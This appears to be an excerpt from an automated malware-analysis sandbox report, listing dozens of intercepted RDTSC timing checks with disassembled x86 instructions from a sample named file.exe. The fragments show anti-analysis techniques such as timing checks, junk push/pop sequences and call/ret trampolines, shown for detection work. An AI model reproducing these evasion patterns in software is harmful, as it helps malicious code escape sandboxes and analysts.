Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B230D second address: 10B2333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9D106F7667h 0x0000000c je 00007F9D106F7656h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B274A second address: 10B2751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2751 second address: 10B2778 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9D106F765Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F9D106F7665h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDDA second address: 107DDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3150 second address: 10B3167 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9D106F7661h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3167 second address: 10B317E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9D1073AE6Ch 0x00000008 pushad 0x00000009 jns 00007F9D1073AE66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B317E second address: 10B319A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F7660h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B319A second address: 10B31A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B31A0 second address: 10B31B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007F9D106F7656h 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3326 second address: 10B3330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3330 second address: 10B3335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3335 second address: 10B333A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B64C9 second address: 10B64CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B19 second address: 10B6B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B1D second address: 10B6B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9D106F765Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B30 second address: 10B6B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007F9D1073AE66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jl 00007F9D1073AE66h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B4E second address: 10B6B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F9D106F7658h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B62 second address: 10B6B69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7E83 second address: 10B7E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F9D106F765Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7E99 second address: 10B7EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE72h 0x00000007 pushad 0x00000008 jmp 00007F9D1073AE6Eh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10757D5 second address: 10757F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F9D106F7665h 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10757F2 second address: 10757FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10757FA second address: 1075804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF96C second address: 10BF972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF011 second address: 10BF016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF12E second address: 10BF141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9D1073AE66h 0x0000000a pop ebx 0x0000000b js 00007F9D1073AE6Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF509 second address: 10BF50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF50F second address: 10BF53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9D1073AE7Eh 0x0000000a je 00007F9D1073AE8Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF53A second address: 10BF557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9D106F765Ch 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F9D106F7656h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01FE second address: 10C0203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0CDB second address: 10C0D2A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9D106F7665h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jc 00007F9D106F765Ch 0x00000012 jp 00007F9D106F7656h 0x00000018 jno 00007F9D106F7662h 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 mov esi, dword ptr [ebp+122D21DDh] 0x00000026 nop 0x00000027 pushad 0x00000028 jbe 00007F9D106F7658h 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D2A second address: 10C0D54 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F9D1073AE79h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0D54 second address: 10C0D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0E1F second address: 10C0E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0E23 second address: 10C0E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1297 second address: 10C129B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C132A second address: 10C1330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1330 second address: 10C136A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F9D1073AE68h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 adc edi, 227AFA9Fh 0x0000002b mov edi, dword ptr [ebp+122D2980h] 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 pop ecx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C17CB second address: 10C17CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C17CF second address: 10C181A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F9D1073AE68h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a pop esi 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e jbe 00007F9D1073AE68h 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C181A second address: 10C1848 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9D106F765Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9D106F7667h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1848 second address: 10C184E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C21AA second address: 10C21C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F7664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C21C2 second address: 10C21C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C21C6 second address: 10C21D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F9D106F7656h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C21D9 second address: 10C21EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C321A second address: 10C3220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C7D second address: 10C3D1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9D1073AE77h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F9D1073AE75h 0x00000012 jc 00007F9D1073AE77h 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F9D1073AE68h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D21E6h], ecx 0x0000003a mov dword ptr [ebp+122DB7F2h], edi 0x00000040 push 00000000h 0x00000042 mov si, di 0x00000045 push 00000000h 0x00000047 sub edi, 7AA87D17h 0x0000004d xchg eax, ebx 0x0000004e push edi 0x0000004f jmp 00007F9D1073AE70h 0x00000054 pop edi 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3D1A second address: 10C3D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C50E4 second address: 10C50EE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C50EE second address: 10C50FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D106F765Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C50FD second address: 10C5139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F9D1073AE68h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 clc 0x00000023 mov dword ptr [ebp+122D34B8h], edi 0x00000029 push 00000000h 0x0000002b mov di, bx 0x0000002e push 00000000h 0x00000030 mov si, 9CB7h 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C65F2 second address: 10C6607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8237 second address: 10C8252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE6Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F9D1073AE66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8252 second address: 10C8256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8256 second address: 10C825C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C825C second address: 10C8272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D106F765Fh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC46B second address: 10CC48F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9D1073AE7Ah 0x00000008 jmp 00007F9D1073AE74h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD2CA second address: 10CD2CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC48F second address: 10CC49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE6Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD2CE second address: 10CD2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD2D8 second address: 10CD2DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE218 second address: 10CE222 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9D106F7656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD42D second address: 10CD4BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F9D1073AE66h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov bx, 9446h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F9D1073AE68h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 cmc 0x00000037 or edi, dword ptr [ebp+122D1C35h] 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 xor dword ptr [ebp+122D26D2h], edx 0x0000004a mov eax, dword ptr [ebp+122D05A1h] 0x00000050 movsx ebx, si 0x00000053 push FFFFFFFFh 0x00000055 call 00007F9D1073AE70h 0x0000005a jo 00007F9D1073AE6Ch 0x00000060 mov dword ptr [ebp+122D1CEEh], edi 0x00000066 pop ebx 0x00000067 push ebx 0x00000068 xor bl, FFFFFFE1h 0x0000006b pop edi 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F9D1073AE74h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF2B9 second address: 10CF2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF2BD second address: 10CF2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0F56 second address: 10D0F6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9D106F765Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E19 second address: 10D2E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE75h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E39 second address: 10D2E47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F9D106F7656h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4FA4 second address: 10D4FD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F9D1073AE7Fh 0x00000014 jmp 00007F9D1073AE79h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4FD1 second address: 10D4FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4FD7 second address: 10D5020 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F9D1073AE68h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+122D2044h] 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D291Ch] 0x00000035 push 00000000h 0x00000037 mov di, E85Ah 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6097 second address: 10D609D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D609D second address: 10D60A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D60A1 second address: 10D60A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D60A5 second address: 10D60FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F9D1073AE6Ah 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F9D1073AE68h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push edi 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 jmp 00007F9D1073AE70h 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D27DDh], ecx 0x0000003f xchg eax, esi 0x00000040 push esi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D60FF second address: 10D610D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D610D second address: 10D6112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6112 second address: 10D6118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D62FE second address: 10D6302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D72D3 second address: 10D72D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D72D8 second address: 10D730A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F9D1073AE6Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F9F9 second address: 107F9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
